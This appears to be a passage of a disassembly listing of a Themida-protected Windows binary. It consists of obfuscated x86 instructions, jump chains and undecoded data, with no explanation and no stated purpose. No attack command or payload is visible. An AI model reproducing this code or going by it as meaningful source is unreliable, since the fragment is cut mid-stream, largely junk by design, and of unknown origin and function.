0E92E4A51h, 3E89h, 8004C483h, 60E922E9h db 0F4h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5957A3: ; CODE XREF: Themida_:005A0D73j add edx, 4 xchg edx, [esp] pop esp jmp loc_5A1B5A ; --------------------------------------------------------------------------- loc_5957B2: ; CODE XREF: Themida_:0059AD04j mov edx, 4 jmp loc_595588 ; --------------------------------------------------------------------------- dd offset dword_542764+4 dd 24148900h, 0F2A68h, 24248900h, 4240481h, 5A000000h dd 6CE8E9h, 24248B00h, 0E9241489h, 0E0A3h ; --------------------------------------------------------------------------- loc_5957E4: ; CODE XREF: Themida_:00591508j shr ecx, 2 push 7D36h mov [esp], ebx push dword ptr [esp] pop eax push ecx push esp pop ecx add ecx, 4 sub ecx, 4 xchg ecx, [esp] pop esp mov [esp], edi mov edi, esp push 7914h mov [esp], ebx push 7DAEh mov [esp], edx push 5C037F3Ah pop edx inc edx push esi jmp loc_5A175B ; --------------------------------------------------------------------------- dd 4C281h, 0EA830000h, 24148704h, 4ED0E9h db 0 ; --------------------------------------------------------------------------- loc_595839: ; CODE XREF: Themida_:00597982j pop edx add ebp, eax jmp loc_59435A ; --------------------------------------------------------------------------- loc_595841: ; CODE XREF: Themida_:005A191Ej and ebx, esi pop esi shr ebx, 6 sub ebx, 0FB881h jmp loc_5A3F63 ; --------------------------------------------------------------------------- dw 0C481h dd 4, 5FC8BD55h, 0EA214D53h, 81242C8Bh, 4C4h, 8E2C100h dd 1B951h, 0CDE90000h, 81000001h, 0FFFFFFEDh, 39E950FFh db 0B1h, 2 dup(0) byte_595883 db 66h ; DATA XREF: Themida_:005908A4o dd 56240C8Bh, 24C0E9h, 24048900h, 0EA5ADBB8h, 5ADF354Fh dd 0C1014FEAh, 240C8758h, 2404875Ch, 6824248Bh, 6DBDh dd 0E9240C89h, 4570h, 0B4E9E289h, 5E0000DFh, 242C8B5Dh dd 4C481h, 6E90000h, 66000044h, 0E9241489h, 0B5D4h, 27E9575Ah dd 4F000062h, 0FA51EF81h, 7C0100D0h, 5F5F0424h, 4BA52h dd 0EF810000h, 448671FFh, 606DC781h, 0D7012A63h, 606DEF81h dd 0F7E92A63h, 330000B2h, 0FBE92434h, 68000050h, 1B2652E0h dd 0E94D4D5Dh, 734Ch, 835BDF01h, 3C8704C7h, 24248B24h dd 4EC8151h, 0E9000000h, 0F8CDh ; --------------------------------------------------------------------------- loc_595934: ; CODE XREF: Themida_:0059B30Cj pop esp push ebp push esi mov esi, 4 jmp loc_590BE6 ; --------------------------------------------------------------------------- loc_595941: ; CODE XREF: Themida_:005A273Cj push ebx mov ebx, esp jmp loc_59FD2D ; --------------------------------------------------------------------------- db 53h, 57h, 68h dd 703E6C27h, 0AAF7E9h, 0C3815D00h, 56F0466Ch, 0EB81CB29h dd 56F0466Ch, 0FFB266E9h, 0D82966FFh, 35582D66h, 99FE9h dd 8E6C100h, 77FCB850h, 0C6E9F3ACh, 81FFFFD2h, 4C6h, 24348700h dd 9268665Ch, 489666Bh, 4EC8324h, 0B3241C89h, 1EB80F5h dd 0D003EBC0h, 1250E9E3h, 0BA520000h, 5C3360F3h, 0FFFFC281h dd 0EA81FFFFh, 629B5436h, 0E281DAF7h, 11140ED0h, 7DBBF281h dd 0D0297B52h, 58C5895Ah, 9E5FE950h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5959D6: ; CODE XREF: Themida_:00596E34j mov eax, [esp] add esp, 4 jmp loc_59886E ; --------------------------------------------------------------------------- dd 1C58F32Dh, 0A718E915h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5959EE: ; CODE XREF: Themida_:00593530j and al, bh pop ebx inc al add al, 0FFh sub al, 9Bh add bl, al pop eax add bl, al sub bl, 0C7h sub bl, 0E0h movzx eax, al jmp loc_59104A ; --------------------------------------------------------------------------- loc_595A0A: ; CODE XREF: Themida_:005A1488j sub eax, 0D81731Eh inc eax sub eax, 38F342EBh add eax, 0F3CD933Bh jmp loc_59BDA4 ; --------------------------------------------------------------------------- db 52h dd 477584BAh, 0F606E936h, 489FFFFh, 0FE6DB424h, 0C7DCE9C4h dd 685BFFFFh, 4BD6h, 0E9243489h, 0BC18h, 0F0E9CA29h, 0FF000090h dd 815E2434h, 4C4h, 0DEBF5700h, 1013976h, 52FAE9FBh, 14330000h dd 24248B24h, 2424D366h, 7C48E99Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_595A72: ; CODE XREF: Themida_:005A4CC9j mov [esp], ebx pop eax pop ebx push 7F0Ch mov [esp], ecx push 5483h jmp loc_598FCD ; --------------------------------------------------------------------------- loc_595A89: ; CODE XREF: Themida_:0059970Fj inc esi xor esi, 2D604130h mov ebx, esi mov esi, [esp] add esp, 4 or ebx, 4A276F3h xor ebx, 19B567ACh jmp loc_5927B7 ; --------------------------------------------------------------------------- dd 5D2434FFh, 8104C483h, 0BD2E84C5h, 0C1DDF732h, 0D5F702E5h dd 1E6BB850h, 0C5291C65h, 75606858h, 14890000h, 0C3DBA24h dd 81426B88h, 6CE916F2h, 9937E904h, 4830000h, 53590424h dd 0C381E389h, 4, 6FA968h, 24048900h, 0FF124AB8h, 71BA5246h dd 0E96BDE3Eh, 0FFFFDD5Bh, 24048966h, 0E904EC83h, 0EF07h dd 5B66FD30h, 0E800E12Ch, 34FFE104h, 0D6685924h, 89000063h dd 8956243Ch, 4C681E6h, 53000000h, 4BBh, 0BB63E900h, 0F74DFFFFh dd 15F581DDh, 814EB61Ah, 71AE5FC5h, 0F5EF81DDh, 0E9044A46h dd 0D66Ch ; --------------------------------------------------------------------------- loc_595B58: ; CODE XREF: Themida_:00592438j push edi jmp loc_59B57F ; --------------------------------------------------------------------------- loc_595B5E: ; CODE XREF: Themida_:00591FE2j push esp pop ebp push edi mov edi, 164746DDh xor edi, 599F58D0h xchg eax, edi neg eax xchg eax, edi xor edi, 0B027E1F7h jmp loc_59C3A8 ; --------------------------------------------------------------------------- db 5Ch dd 0FFE3B1E9h, 0E9CB29FFh, 2CD5h ; --------------------------------------------------------------------------- loc_595B88: ; CODE XREF: Themida_:00591220j add esp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push ebp push 1 pop ebp jmp loc_5A3738 ; --------------------------------------------------------------------------- db 0BBh dd 0DE5F12h, 3BA0E9h db 0 ; --------------------------------------------------------------------------- loc_595BAD: ; CODE XREF: Themida_:0059F533j push ebx push 3A1Bh mov [esp], esp sub esp, 4 mov [esp], eax mov eax, 4 jmp loc_5A3130 ; --------------------------------------------------------------------------- dw 0FF66h dd 0E99C240Ch, 0FFFFAECBh ; --------------------------------------------------------------------------- loc_595BD0: ; CODE XREF: Themida_:00599BE8j mov ebx, ecx mov ebp, ebx mov ebx, [esp] push 4F18h mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_59D512 ; --------------------------------------------------------------------------- aBXxlnsK db 'ÆåX‹Né|k',0 db 0 ; --------------------------------------------------------------------------- loc_595BF7: ; CODE XREF: Themida_:005A1FD4j push 18C4h mov [esp], ecx mov ecx, 20431E70h sub ecx, 5EB35BFCh push eax mov eax, 1D6220FAh jmp loc_5A0BD1 ; --------------------------------------------------------------------------- aYsN db 'Yé',1Bh,'',0 dw 2C00h dd 28142CC5h, 521404D8h, 345EB050h, 0E92D0435h, 0A109h dd 0FFAE66E9h, 0B7BF57FFh, 4F3B9942h, 2EFC14Fh, 0E3BCF81h dd 0BA522907h, 0EE97FA6Ah, 74D9E9h, 0D9EF8100h, 817EB967h dd 412480EFh, 0F60EE962h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595C62: ; CODE XREF: Themida_:00593DBDj push 3ED2h mov [esp], esi mov eax, [esp] push 1BD3h mov [esp], eax mov eax, esp sub esp, 4 jmp loc_5A3B25 ; --------------------------------------------------------------------------- dw 0F521h dd 87B7E9h, 24048700h, 0F2BA525Ch, 814CF23Eh, 3517EAE2h dd 0DEEA813Fh, 810C3016h, 0E00E3AC5h, 51D50156h, 8B6AF1B9h dd 11F1817Bh, 0E9490C63h, 853Dh ; --------------------------------------------------------------------------- loc_595CB8: ; CODE XREF: Themida_:0059A4DFj mov edi, 4 sub eax, 4A6B3D74h add eax, edi jmp loc_5A5BE7 ; --------------------------------------------------------------------------- loc_595CC9: ; CODE XREF: Themida_:00592A80j add ebx, esi mov esi, [esp] add esp, 4 push dword ptr [esp] mov edx, [esp] add esp, 4 jmp loc_5A4F4F ; --------------------------------------------------------------------------- loc_595CE2: ; CODE XREF: Themida_:0059D860j pop esp or edx, eax shl edx, 1 jmp loc_599137 ; --------------------------------------------------------------------------- aFyDrCocms db '»”Y×dRºCo–Méê*',0 align 4 dd 4C481h, 89560000h, 5EF389CEh, 5BDF0159h, 46855h, 15D0000h dd 242C8BEFh, 3304C483h, 73E9243Ch, 66000041h, 8124048Bh dd 2C4h, 0C0B60F00h, 24148B66h, 1F74E955h, 0C2B80000h dd 29872234h, 3E2BE9D8h, 815F0000h, 0A16AD1C6h, 81CE016Bh dd 0A16AD1EEh, 3433596Bh, 24343124h, 8B243433h, 0D3662424h dd 0E99C240Ch, 0FFFFAD2Fh, 5B12E781h, 0EF816FAFh, 58B5E3Ah dd 0D7E4E9h, 46800h, 555E0000h, 8D18EDBDh, 246C0164h, 74015D08h dd 0E9500424h, 8BFBh ; --------------------------------------------------------------------------- loc_595D98: ; CODE XREF: Themida_:00594011j and eax, 0F3A4584h push edi jmp loc_5952E5 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 0F769E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595DAE: ; CODE XREF: Themida_:005A58A7j add esp, 4 xor edx, [esp] jmp loc_5A4994 ; --------------------------------------------------------------------------- db 68h, 3Ah, 3Ch dd 4890000h, 5585424h, 4, 405h, 24048700h, 5C68565Ch, 0FF06966Ah dd 0FCE92434h db 0DAh, 2 dup(0FFh) byte_595DDF db 0FFh ; DATA XREF: Themida_:005909ACo dd 669D1C77h, 2414D259h, 0D070E99Ch, 5456FFFFh, 0F48E9h db 0 byte_595DF5 db 0FFh, 34h, 24h ; DATA XREF: Themida_:00590818o dd 0EC815658h, 4, 83242489h, 3C8904ECh, 46824h, 15F0000h dd 8B04247Ch, 0C483243Ch, 24348B04h, 4C481h, 0E9550000h dd 0FFFFBD92h, 0B4B65266h, 0A4E9F000h, 810000F4h, 0A5AC76C7h dd 0FCEF813Ah, 890F8909h, 4FE95FFAh, 8B000097h, 1AE92424h db 0E5h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_595E4F: ; CODE XREF: Themida_:0059366Dj pop ebp pop ebx mov ebx, ecx mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] jmp loc_597DF6 ; --------------------------------------------------------------------------- db 81h, 0C1h, 4 dd 51000000h, 42474FFh, 24048F59h, 0D068505Ch, 5840520Ah dd 82DBE9h db 0 ; --------------------------------------------------------------------------- loc_595E89: ; CODE XREF: Themida_:00599225j pop eax add ebx, 4 xchg ebx, [esp] mov esp, [esp] xor ebx, esi xor esi, ebx jmp loc_591F3B ; --------------------------------------------------------------------------- aRsC db '\RéÅ—',0 align 2 dw 0B850h dd 4F371C49h, 18F6E9h db 0 ; --------------------------------------------------------------------------- loc_595EB1: ; CODE XREF: Themida_:005990F9j shr edi, 4 sub edi, 5ED41006h add edi, 5DCE2929h jmp loc_5A1793 ; --------------------------------------------------------------------------- db 0F7h, 0D3h, 0E9h dd 8274h, 679268h, 24148900h, 5F9DE9h db 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_59F734 ; --------------------------------------------------------------------------- loc_595EE1: ; CODE XREF: Themida_:0059DD69j pop edx sub eax, ebp pop ebp xor eax, 90F371Eh add ecx, eax pop eax jmp loc_593CCE ; --------------------------------------------------------------------------- loc_595EF2: ; CODE XREF: Themida_:005A0EC0j mov esi, 4A49396Ah push ebx push edx jmp loc_5A4768 ; --------------------------------------------------------------------------- dw 0C8Bh dd 4EC8124h, 0E9000000h, 0D730h, 0C181C129h, 1080305h dd 6428BF57h, 0EF811A91h, 9FDDEDB6h, 6CE9F929h, 89000029h dd 4EC81E1h, 89000000h, 74BE2434h, 0F75CA479h, 0AEC6E9DEh dd 0EA81FFFFh, 244363B3h, 5E08950h, 4, 4B951h, 0C8290000h dd 3B31E959h, 0D7BE0000h, 81ABD2C6h, 406E7EEh, 57FE297Fh dd 0DD3FE9h, 4C65BD00h, 0EB214252h, 1148E95Dh db 2 dup(0) ; --------------------------------------------------------------------------- loc_595F7A: ; CODE XREF: Themida_:0059E3E2j pop esi push dword ptr [esp] pop edi push 7 mov [esp], eax jmp loc_59E3A8 ; --------------------------------------------------------------------------- dd 6EBC05Ah, 0B551C3FEh, 4703E928h, 0D5000000h, 80D3C580h dd 148B1CEDh, 0AB3BE924h, 3C87FFFFh, 12E95C24h, 8700002Ah dd 815C2404h, 1E6130C6h, 81D62919h, 1E6130EEh, 0C5BA5219h dd 2958C579h, 875A5AD6h, 9EE92434h db 87h, 2 dup(0) ; --------------------------------------------------------------------------- loc_595FD7: ; CODE XREF: Themida_:00594F9Ej or esi, ebp pop ebp shr esi, 8 shl esi, 1 jmp loc_5932F7 ; --------------------------------------------------------------------------- dd 4240481h, 5F000000h, 4C781h, 0C7810000h, 4, 31243C33h dd 3C33243Ch, 24248B24h, 5C2DE9h db 0 ; --------------------------------------------------------------------------- loc_596009: ; CODE XREF: Themida_:0059F5C3j sub esi, 0E5359FE2h or eax, esi pop esi jmp loc_593F57 ; --------------------------------------------------------------------------- db 1 dd 54702DD0h, 148B137Ch, 4C48124h, 0E9000000h, 0DEC2h dd 0CC0BE95Fh, 0F9B7FFFFh, 5B66FD00h, 958BE9h db 0 ; --------------------------------------------------------------------------- loc_59603D: ; CODE XREF: Themida_:0059B0B4j add ebx, ecx push eax mov eax, 696054Eh add ebx, eax pop eax pop ecx jmp loc_594DE8 ; --------------------------------------------------------------------------- dw 5896h dd 139DE9h, 3AF5BB00h, 0FEE95861h db 16h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59605F: ; CODE XREF: Themida_:00597E6Ej push ebp pop eax pop ebp jmp loc_5A3286 ; --------------------------------------------------------------------------- loc_596067: ; CODE XREF: Themida_:00596173j add esp, 4 jmp loc_591439 ; --------------------------------------------------------------------------- dw 0F381h dd 73F300EDh, 0DEB95143h, 296FB301h, 0D90159CBh, 240C875Bh dd 6C77E9h, 0E6895600h, 3912BD55h, 0E5C145F1h, 81DDF702h dd 3B1BB4EDh, 5DEE01E8h, 8704C683h, 0E95C2434h, 849Eh dd 44AFEE81h, 0DE01161Bh, 0AEE0E9h, 76A7BA00h, 0CA8154BCh dd 48A91603h, 0F742424Ah, 0A964E9D2h, 0BF570000h, 35F26215h dd 5CE9E9h, 242C3300h, 3B24248Bh, 0B0E99CC8h, 0FFFFFFA9h dd 8B042474h, 0C483241Ch, 24048F04h, 0E924248Bh, 9F44h dd 0EF669BBBh, 5AD33156h, 815BD931h, 4655E8C1h, 91E95041h db 0AEh, 2 dup(0) ; --------------------------------------------------------------------------- loc_596117: ; CODE XREF: Themida_:00597A83j and edx, edi pop edi neg edx jmp loc_59B113 ; --------------------------------------------------------------------------- db 80h, 0F6h, 69h dd 0E96BB151h, 0FFFFB19Ch ; --------------------------------------------------------------------------- loc_59612C: ; CODE XREF: Themida_:005A5831j mov [esp], ebp mov ebp, 160E494Dh push esi mov esi, 2E8D4CA4h xor ebp, esi mov esi, [esp] add esp, 4 sub esp, 4 jmp loc_5A00A8 ; --------------------------------------------------------------------------- loc_59614A: ; CODE XREF: Themida_:0059406Ej mov ecx, 7A8157Fh sub esi, ecx pop ecx add eax, esi pop esi push eax push dword ptr [esp+4] jmp loc_59F95B ; --------------------------------------------------------------------------- db 51h dd 63FAE9h, 240C8B00h, 5978E951h db 2 dup(0) ; --------------------------------------------------------------------------- loc_59616E: ; CODE XREF: Themida_:00595376j xor edx, ecx mov ecx, [esp] jmp loc_596067 ; --------------------------------------------------------------------------- dd 81240489h, 4ECh, 24148900h, 0C2F10BAh, 7EAC14Ch, 1818C281h dd 0E9421F6Bh, 0E148h, 489A68h, 0D430E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5961A2: ; CODE XREF: Themida_:0059515Fj xchg ebx, [esp] pop esp jmp loc_597700 ; --------------------------------------------------------------------------- db 0BBh dd 4BAC37BAh, 814BD3F7h, 0B56FF1CBh, 1ECFE97Eh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5961BE: ; CODE XREF: Themida_:00594B75j push ecx mov ecx, 641A0846h and ecx, 56655816h sub ecx, 5719537Bh jmp loc_59E419 ; --------------------------------------------------------------------------- db 8Fh, 4, 24h dd 2414335Ch, 33241431h, 248B2414h, 0A8B1E924h, 0E95DFFFFh dd 0FFFFC667h, 8B247789h, 15E92434h, 0BB0000DFh, 0C614FAB5h dd 0FFC932E9h db 0FFh ; --------------------------------------------------------------------------- loc_596205: ; CODE XREF: Themida_:0059AB4Ej sub edx, ebx jmp loc_590D68 ; --------------------------------------------------------------------------- dd 4BBh, 0EEC28100h, 0E90B101Ch, 0F7F2h, 2434FF58h, 1AE0E9h dd 4BCD8100h, 8112F140h, 0E53852C5h, 0E9EB2936h, 0FFFFB7B1h dd 358DEE81h, 0EE0122B1h, 358DC681h, 575D22B1h, 4BFh, 332DE900h dd 0DF010000h, 5FFD015Bh, 0D0E9E9h, 9C28100h, 81608724h dd 0A6963EBh, 81D30102h, 0A6963C3h, 24148B02h, 4C481h dd 1C870000h, 81B3E924h db 2 dup(0) word_596282 dw 248Bh ; DATA XREF: Themida_:00590958o dd 0A811E924h, 0C480FFFFh, 8BE288FFh, 0DE92404h db 0D3h, 2 dup(0FFh) byte_596297 db 66h ; DATA XREF: Themida_:005909E8o dd 68240C8Bh, 3334h, 54243C89h, 0C4BD555Fh, 4507612Fh dd 1E0ED81h, 0EDC13D3Eh, 4EC8107h, 89000000h, 79B82404h dd 0C1531947h, 685706E0h, 597C2753h, 1CDA2D5Fh, 0F8295450h dd 501CDA05h, 393EE954h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5962DE: ; CODE XREF: Themida_:005A01E0j add ecx, ebx sub ecx, 509D4593h jmp loc_593D46 ; --------------------------------------------------------------------------- db 31h dd 14332414h, 0C93DE924h, 0FA890000h, 5AD3895Fh, 8244481h dd 1C00DA0h, 8245C29h, 959EE9h, 0E9DF2900h, 0C98Eh, 4A962D66h dd 0B9BF6657h, 8353666Ch, 48904ECh, 7EB86624h, 0ECBB6604h dd 0C3016640h, 2B6BE9h, 0BEEF6800h, 815FC657h, 1C7A5BC7h dd 6536E93Ah db 2 dup(0) ; --------------------------------------------------------------------------- loc_596346: ; CODE XREF: Themida_:005A3389j mov [esp], ebx mov ebx, 3E380932h jmp loc_5936EC ; --------------------------------------------------------------------------- db 0FFh dd 1AE92434h db 0BAh, 2 dup(0) byte_59635B db 83h ; DATA XREF: Themida_:00590894o dd 148904ECh, 2474FF24h, 24148B04h, 0E904C483h, 0A971h dd 4C781h, 0EF810000h, 4, 0FFD1E8E9h db 0FFh ; --------------------------------------------------------------------------- loc_596381: ; CODE XREF: Themida_:005A337Ej add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_5918DF ; --------------------------------------------------------------------------- loc_596395: ; CODE XREF: Themida_:00596C9Bj xor ebx, 7FFF7FEAh push eax jmp loc_59CCC3 ; --------------------------------------------------------------------------- loc_5963A1: ; CODE XREF: Themida_:00591FCBj push eax mov al, 1Bh push ecx mov cl, al jmp loc_59C766 ; --------------------------------------------------------------------------- dd 4EC81h, 0C890000h, 6BEFB924h, 0BE560C4Fh, 68CE0B8Fh dd 7A32C681h, 0C6816DC0h, 21851128h, 815EF101h, 966B1BC2h dd 0E7D0E924h, 0E0BA0000h, 81011279h, 246504F2h, 5AD529D2h dd 0E95DEE31h, 0FFFFB773h, 38C5685Ch, 3C890000h, 555F5424h dd 4EC8156h, 89000000h, 83682404h, 5848AE0Fh, 3F3ECC2Dh dd 8AEBE914h db 2 dup(0) ; --------------------------------------------------------------------------- loc_596416: ; CODE XREF: Themida_:005912A5j mov esi, 4 add ecx, esi push dword ptr [esp] jmp loc_59D08C ; --------------------------------------------------------------------------- db 0BEh, 0Dh, 3Bh dd 0F529781Fh, 0BE565B5Eh, 70345737h, 81DEF74Eh, 0D9D90FF6h dd 5EF20188h, 0C2E9EA01h, 81FFFFABh, 0CF1794CDh, 51EDD15Eh dd 0FFB499E9h db 0FFh ; --------------------------------------------------------------------------- loc_596455: ; CODE XREF: Themida_:00593D52j xchg ecx, [esp] mov esp, [esp] mov [esp], esi push edx push 414D1D9Fh mov edx, [esp] add esp, 4 jmp loc_59B6F6 ; --------------------------------------------------------------------------- loc_59646F: ; CODE XREF: Themida_:0059B9A5j add [ecx], ebx jmp loc_59AA9D ; --------------------------------------------------------------------------- dw 3489h dd 815E5424h, 4C6h, 2BB5300h, 1000000h, 0F004E9DEh, 0C4810000h dd 4, 8104C483h, 4C3h, 4C38100h, 53000000h, 0F5BFE9h db 0 ; --------------------------------------------------------------------------- loc_5964A9: ; CODE XREF: Themida_:005A5A8Fj push edi jmp loc_596A6F ; --------------------------------------------------------------------------- loc_5964AF: ; CODE XREF: Themida_:0059E390j sub esp, 4 jmp loc_59FAE8 ; --------------------------------------------------------------------------- byte_5964B7 db 66h ; DATA XREF: Themida_:00590A04o dd 6802B60Fh, 7497h, 83242C89h, 0EFE904ECh, 10000D7h, 5E1C68FBh dd 14890000h, 4EC8324h, 0E9241C89h, 51F8h, 31243433h, 34332434h dd 25E95C24h, 2D000089h, 393A4D45h, 5758C789h, 495563BFh dd 0AFEF810Dh, 1AA1EE2h, 5EE95FFAh, 0BF0000DEh, 4C203C2Eh dd 0C3D6C781h, 0C581B3DFh, 0BCA1FD7h, 0BB53FD01h, 2452A61h dd 6433C381h, 0E973ECh db 96h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59652F: ; CODE XREF: Themida_:005A48E5j add esp, 4 push dword ptr [esp] pop ecx push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] jmp loc_59A1CF ; --------------------------------------------------------------------------- loc_59654E: ; CODE XREF: Themida_:00594E5Aj push ebp mov ebp, 2B334DCAh add ebp, 0D4CCB23Ah add ecx, ebp jmp loc_594C92 ; --------------------------------------------------------------------------- db 8Bh, 2Ch, 24h dd 5E08950h, 4, 4BD55h, 0E8010000h, 65E9505Dh, 0C0FFFFAAh dd 0F18005E9h, 0B4A3E9FAh, 0C1B7FFFFh, 22E9F730h, 81FFFFC2h dd 8465D8EEh, 81DE0135h, 8465D8C6h, 241C8B35h, 1C13E9h dd 45B900h, 89570B44h, 5FFA89CFh, 5EC28159h, 556E2B7Dh dd 6C0034BDh, 1DE58103h, 4D79423Ch, 9D2AE9h, 4895C00h dd 1A0FE924h, 9C0D0000h, 0F77A0E6Ch, 685255D0h, 67B9789Fh dd 2EA815Ah, 81524149h, 2B319CEAh, 0DDEA811Dh, 89729C7Ch dd 0E8295AD5h, 58C7295Dh, 0C781DFF7h, 112F3159h, 27D4E981h dd 0E5E93204h, 810000CCh, 0D11B64EEh, 5EEC161h, 0C108EEC1h dd 0F68106EEh, 4D0771ACh, 130E981h, 0F1293278h, 4D87BF57h dd 0C781665Dh, 498B77FAh, 70F3CF81h, 0DFF76E5Bh, 0BF9BD55h dd 0EDC10324h, 0FDC58102h, 4D455F19h, 0DA29C581h, 0EF01DC4Bh dd 5FF9015Dh, 5524348Bh, 0C5815D54h, 4, 3304C583h, 2C31242Ch dd 0B681E924h, 14890000h, 35E95324h, 81000039h, 4ECh, 24148900h dd 0C06BE9h, 0A409E900h, 0C483FFFFh, 94BB5304h, 81610635h dd 106F10F3h, 77CB8156h, 81333B68h, 0CA1150E3h, 76F6685Ah dd 0C890000h, 0EFB4B924h, 0CB01EDF5h, 0D0FDE959h, 0C3810000h dd 4, 5C241C87h, 2796BD55h, 0EB31668Fh, 0B47BE9h db 0 ; --------------------------------------------------------------------------- loc_5966D9: ; CODE XREF: Themida_:0059208Cj add esi, ebx pop ebx xchg esi, [esp] pop esp push edi jmp loc_595476 ; --------------------------------------------------------------------------- loc_5966E6: ; CODE XREF: Themida_:005A5871j xor [esp], ebp xor ebp, [esp] mov esp, [esp] add ebx, 4 sub ebx, 2 xor ebx, [esp] jmp loc_59F27F ; --------------------------------------------------------------------------- loc_596703: ; CODE XREF: Themida_:005A56DAj sub ecx, 0C0C26223h sub eax, ecx jmp loc_5A0342 ; --------------------------------------------------------------------------- dd 8B240433h, 0DFE92424h db 6Bh, 2 dup(0) ; --------------------------------------------------------------------------- loc_59671B: ; CODE XREF: Themida_:0059518Cj mov ecx, [esp] add esp, 4 jmp loc_5A35FB ; --------------------------------------------------------------------------- db 81h, 0E9h, 5Ch dd 10E5D17h, 5CBD55D1h, 10E5D17h, 0E9815DE9h, 50991437h dd 5A2434FFh, 81E78957h, 4C7h, 4C78100h, 87000000h, 15C243Ch dd 240C8BCFh, 0C46BE9h, 4C48300h, 8124148Bh, 4C4h, 77BB5300h dd 31710926h, 2434FFDAh, 3ADFE95Bh, 2C890000h, 0EEB85024h dd 0E96AC737h, 0FFFFA7D9h, 32B8505Bh, 2D61084Bh, 18127308h dd 3D336E35h, 451B0530h, 0C329F1A0h, 0EBC15858h, 81DBF707h dd 0FB68DDEBh, 5BD801E3h, 4EC81h, 3C890000h, 1D73BF24h dd 55E93671h, 88000065h, 0E5005BDCh, 24048B66h, 81E78957h dd 4C7h, 2C78100h, 87000000h, 0E95C243Ch, 0FFFFC659h, 7CEABF57h dd 7C291309h, 5B5F0C24h, 8904EC83h, 40B9240Ch, 14A720Fh dd 5908244Ch, 6824148Bh, 3FDDh, 89240C89h, 4C181E1h, 81000000h dd 4C1h, 240C8700h, 0D123E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_596826: ; CODE XREF: Themida_:00593BF6j sub ebx, 170B007Bh add ebx, edx add ebx, 170B007Bh push 4733h mov [esp], edx mov edx, 0 sub edx, 9A5B52h jmp loc_591CA6 ; --------------------------------------------------------------------------- dd 0D7F6AAB7h, 0B3A6E9h, 5B162500h, 88E9663Bh db 8Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_59685F: ; CODE XREF: Themida_:00597993j shl edx, 3 xor edx, 707A334Ch jmp loc_5A16B7 ; --------------------------------------------------------------------------- loc_59686D: ; CODE XREF: Themida_:005917B3j mov esi, 2B41651Ch neg esi dec esi shr esi, 4 sub esi, 5E7E15D4h sub esi, 0AECDD3D6h mov edx, esi pop esi sub ecx, 3C452F21h sub ecx, edx push esi jmp loc_59B769 ; --------------------------------------------------------------------------- loc_596895: ; CODE XREF: Themida_:0059CBDBj add esp, 4 jmp loc_5913CF ; --------------------------------------------------------------------------- db 87h, 0E9h, 81h dd 4ECh, 0A2DCE900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5968AA: ; CODE XREF: Themida_:0059F8A6j push ebx push ecx mov ch, 90h mov bl, ch pop ecx xor bl, 6Eh sub bl, 49h jmp loc_59DDFF ; --------------------------------------------------------------------------- dd 0D587EF87h, 0D587D2F7h, 4241E9h, 0FFD93000h, 1C8B2434h dd 4C48324h, 5E08950h, 4, 0FFE557E9h, 241C89FFh, 765668h dd 242C8900h, 127B5968h, 242C8B36h, 81E18951h, 4C1h, 4C18100h dd 87000000h, 82E9240Ch db 0E1h, 2 dup(0) ; --------------------------------------------------------------------------- loc_59690B: ; CODE XREF: Themida_:0059E75Fj push ecx push dword ptr [esp+4] pop ecx pop dword ptr [esp] pop esp jmp loc_592C95 ; --------------------------------------------------------------------------- loc_59691A: ; CODE XREF: Themida_:005A292Fj pop esp push dword ptr [esp] pop esi push ebx push esp pop ebx add ebx, 4 push 4A1Eh mov [esp], esi mov esi, 4 jmp loc_5A2569 ; --------------------------------------------------------------------------- dw 0A368h dd 89000007h, 0BF572424h, 4, 664AE9h, 2434FF00h, 4C4815Bh dd 81000000h, 4C3h, 0D7685200h, 89000004h, 2BB241Ch, 68000000h dd 17CBh, 5A241C89h, 5B2434FFh, 4C481h, 0C3810000h, 25813EB2h dd 0E952D301h, 3077h, 5D2434FFh, 65E8E9h db 0 byte_596995 db 66h, 8Bh, 4 ; DATA XREF: Themida_:005909D0o aSu db '$éãÂ',0 align 2 loc_59699E: ; CODE XREF: Themida_:0059305Bj push esi mov esi, ebp push esi sub esp, 4 mov [esp], edi mov edi, 17F7740h xor [esp+4], edi jmp loc_59CDEE ; --------------------------------------------------------------------------- loc_5969B6: ; CODE XREF: Themida_:00594BECj shr edx, 5 neg edx shl edx, 1 add edx, 476232Ch jmp loc_592E08 ; --------------------------------------------------------------------------- aRtzsv db 'RTZéVÉ',0 align 10h dd 2BE565Eh, 0E9000000h, 23C5h dword_5969DC dd 47FBE9ADh, 0FF570000h, 5F042474h, 5C24048Fh, 1C07E9h ; DATA XREF: Themida_:00590A1Co db 0 ; --------------------------------------------------------------------------- loc_5969F1: ; CODE XREF: Themida_:00598475j push ebx jmp loc_5956A9 ; --------------------------------------------------------------------------- db 87h dd 8DE92414h, 5F0000ACh, 187F852Dh, 58C3017Ch, 0E9241C87h dd 68DEh ; --------------------------------------------------------------------------- loc_596A10: ; CODE XREF: Themida_:005A13BCj push eax mov eax, 1B446617h mov ecx, eax pop eax dec ecx add ecx, 1 xor ecx, 72B05132h sub esp, 4 mov [esp], eax mov eax, 60656D82h sub eax, 1 push ebx mov ebx, 0DA2710EAh add eax, ebx pop ebx sub ecx, eax jmp loc_5A56D1 ; --------------------------------------------------------------------------- dw 5266h dd 0B2E945B6h, 59FFFFC9h, 77EA68h, 242C8900h, 0FFBB2FE9h dd 240489FFh, 4B8h, 8BC50100h, 